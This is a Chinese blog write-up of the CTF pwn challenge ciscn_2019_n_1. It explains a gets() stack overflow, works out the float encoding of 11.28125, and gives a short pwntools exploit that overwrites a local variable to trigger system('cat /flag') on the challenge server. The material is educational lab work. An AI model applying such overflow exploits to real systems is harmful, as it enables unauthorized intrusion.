zoukankan      html  css  js  c++  java
  • [buuctf] pwnciscn_2019_n_1

    ciscn_2019_n_1

    检查一下文件的保护情况

        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    64位程序,开启了nx保护,ida分析,找到关键的函数

    int func()
    {
      int result; // eax
      char v1; // [rsp+0h] [rbp-30h]
      float v2; // [rsp+2Ch] [rbp-4h]
    
      v2 = 0.0;
      puts("Let's guess the number.");
      gets(&v1);
      if ( v2 == 11.28125 )
        result = system("cat /flag");
      else
        result = puts("Its value should be 11.28125");
      return result;
    }
    

    需要v2为11.28125才能得到flag,并且存在栈溢出漏洞,只要v1可以覆盖到v2,并将v2的值覆盖为11.28125就能得到flag

    在内存中表示11.28125就涉及到计算机原理的知识了,化为二进制浮点数表示为

    1011.01001 * 2^0 
    

    规格化后为

    1.01101001 * 2^3
    

    以符号位+指数+尾数,表示即为

    0 10000010 01101001
    补全4字节
    0100 0001 0011 0100 1000 0000 0000
    

    用十六进制表示即为 0x41348000

    from pwn import *
    
    r = remote('node3.buuoj.cn',27963)
    v2 = 0x41348000
    payload = b'a'*(0x30-0x4)+p64(v2)
    r.sendline(payload)
    r.interactive()
    

    作者:寒江寻影
    本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利。
  • 相关阅读:
    ACM-ICPC 2018 南京赛区网络预赛 J.Sum
    汉诺塔
    汉诺塔
    D
    D
    数学小定理
    数学小定理
    Python index()方法
    Python endswith()方法
    Python encode()方法
  • 原文地址:https://www.cnblogs.com/crfshadow/p/14502481.html
Copyright © 2011-2022 走看看